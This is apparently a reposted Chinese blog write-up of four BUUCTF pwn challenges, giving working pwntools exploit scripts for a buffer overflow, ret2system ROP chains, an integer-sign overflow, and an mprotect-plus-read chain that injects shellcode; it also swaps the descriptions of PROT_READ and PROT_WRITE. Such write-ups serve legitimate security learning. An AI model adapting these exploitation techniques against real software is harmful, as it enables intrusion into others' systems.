buuctf pwn(9~12)

ciscn_2019_n_8

32位elf文件,放进对应ida里看一下
先checksec一下
在这里插入图片描述
保护全开,有点难对付
看一下附件的内容吧
在这里插入图片描述
意思是让这个数组的第14位等于17=0x11
而且给了一个输入点
在这里插入图片描述
没有限制输入长度,所以可从这个地方入手,
所以直接让数组的每一位都等于0x11
脚本如下:

from pwn import *
context(log_level='debug',os='linux',arch='i386')
p=remote("node4.buuoj.cn",28344)
#p=process("./pwn9")
payload=p32(0x11)*14
p.sendlineafter(b"name?",payload)   #这里不要直接sendline,这样是打不通的
p.interactive()

在这里插入图片描述
*总结发现:
在做这个题的时候,我原本的payload是这样写的
payload=b’0x11‘14
但是这样是打不通的
两个payload我都调试了一下发现,这个数组的每一个下表对应的区域是一个地址,
所以需要借助一下这个p32打包成32位的这样发送出去。

jarvisoj_level2

32位elf文件,丢进ida里看一下
在这里插入图片描述
有个溢出点
而且有system函数
再看一下有/bin/sh没有
shift+f12发现存在
在这里插入图片描述

再checksec一下

在这里插入图片描述
栈不可执行保护
构造rop

from pwn import *
context(log_level='debug',os='linux',arch='i386')
p=remote("node4.buuoj.cn",27410)
#p=process("./pwn10")
sys_plt=0x8048320
bin=0x804A024
payload=b'a'*(0x88+4)+p32(sys_plt)+p32(0)+p32(bin)   #必须要填充一个p32(0)
p.sendlineafter(b"Input:",payload)
p.interactive()

在这里插入图片描述
32位调用system的plt表地址,需要加一个p32(0)
也可以直接找到call system的地址,就不需要再填充p32(0)

在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='i386')
p=remote("node4.buuoj.cn",27410)
#p=process("./pwn10")
sys_addr=0x804849E
bin=0x804A024
payload=b'a'*(0x88+4)+p32(sys_addr)+p32(bin)
p.sendlineafter(b"Input:",payload)
p.interactive()

在这里插入图片描述

bjdctf_2020_babystack

64位elf文件,丢进ida
在这里插入图片描述

这里是先读入一个数字,然后再读入一个你输入的数字长度的数据。
有两种方式
第一种就是直接输入一个很大的数,让它能够进行溢出

from pwn import *
context(log_level='debug',os='linux',arch='i386')
p=remote("node4.buuoj.cn",25190)
#p=process("./pwn11")
sys=0x4006EA
payload=b'a'*(0x10+8)+p64(sys)
p.sendline(str(0x100))
p.sendlineafter(b"[+]What's u name?",payload)
p.interactive()

在这里插入图片描述
第二种就是输入一个负数,这样也能够达到无限输入的情况
原理如下:
在这里插入图片描述(来自ctfwiki)

扫描二维码关注公众号,回复: 15187467 查看本文章
from pwn import *
context(log_level='debug',os='linux',arch='i386')
p=remote("node4.buuoj.cn",25190)
#p=process("./pwn11")
sys=0x4006EA
payload=b'a'*(0x10+8)+p64(sys)
p.sendline(str(-1))
p.sendlineafter(b"[+]What's u name?",payload)
p.interactive()

在这里插入图片描述

get_started_3dsctf_2016

32位elf文件,丢进ida里
在这里插入图片描述

明显的栈溢出,且在函数里发现有getflag函数

在这里插入图片描述
到这里目标就很明确了
构造rop,让a1和a2都满足相应的数值
在这里插入图片描述
这两个就是a1和a2的值
构造rop

from pwn import *
context(os = "linux", arch = "i386")
context.log_level = 'debug'
p=remote("node4.buuoj.cn",25136)
get_flag=0x80489A0
exit=0x804E6A0
payload= b'a'*0x38+p32(get_flag)+p32(exit)+p32(0x308CD64F)+p32(0x195719D1)
p.sendline(payload)
p.interactive()

在这里插入图片描述这种方法,必须要有exit函数,因为本题没有开启标准输入输出,输入输出会在缓冲区呆着,而exit执行后会将缓冲区输出,则可回显flag。
至于为啥不覆盖ebp,我在调试这个题的时候,发现这个elf文件,是靠esp寻址的
想了解的点这里

方法二

还有一种方法,是利用这个函数–>mprotect
在这里插入图片描述
利用mprotect()函数修改.bss段为可写入可执行,写入shellcode,get shell
函数简介如下:

int mprotect(const void *start, size_t len, int prot);
	第一个参数填的是一个地址,是指需要进行操作的地址。
	第二个参数是地址往后多大的长度。
	第三个参数的是要赋予的权限。
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
  1)PROT_READ:表示内存段内的内容可写;
  2)PROT_WRITE:表示内存段内的内容可读;
  3)PROT_EXEC:表示内存段中的内容可执行;
  4)PROT_NONE:表示内存段中的内容根本没法访问。
prot=7 是可读可写可执行,记住就行,类似于chmod中的7

需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
就这样,我们就可以将一段地址弄成可以执行的了。因为程序本身也是静态编译,所以地址是不会变的。

脚本如下:

from pwn import *
context(log_level='debug',os='linux',arch='i386')
p=remote("node4.buuoj.cn",25136)
#p=process("./pwn12")
read_addr=0x806E140
mprotect_addr=0x806EC80
bss_addr=0x80EB000
ret=0x08063adb  #不是只有ret,看下面解释
payload=b'a'*0x38+p32(mprotect_addr)+p32(ret)+p32(bss_addr) + p32(0x1000)+p32(0x7)+p32(read_addr)+p32(ret)+p32(0)+p32(bss_addr)+p32(0x1000)+p32(bss_addr)
p.sendline(payload) 
shellcode=asm(shellcraft.sh(),arch='i386',os='linux')  #生成shellcode
p.sendline(shellcode)
p.interactive()

这里解释一下payload。
首先让其跳转至这个mprotect_addr,并使其参数为bss_addr,0x1000,0x7,,然后修改完成后,需要再构造一个read函数,使其读入我们写的shellcode,同理跳转到read函数这里之后,使其参数分别为,0,bss_addr,0x1000,再让程序跳转到bss_addr去执行我们写入的shellcode

关于read函数的参数意义,read [1] (int fd, void *buf, size_t count);fd是个标志,写入到bss_addr这里,能写入0x1000大小
在这里插入图片描述在这里插入图片描述
ret实际上是
在这里插入图片描述
这个是为了构造这个函数的,使其参数都是我们想要的

猜你喜欢

转载自blog.csdn.net/cainiao78777/article/details/128400794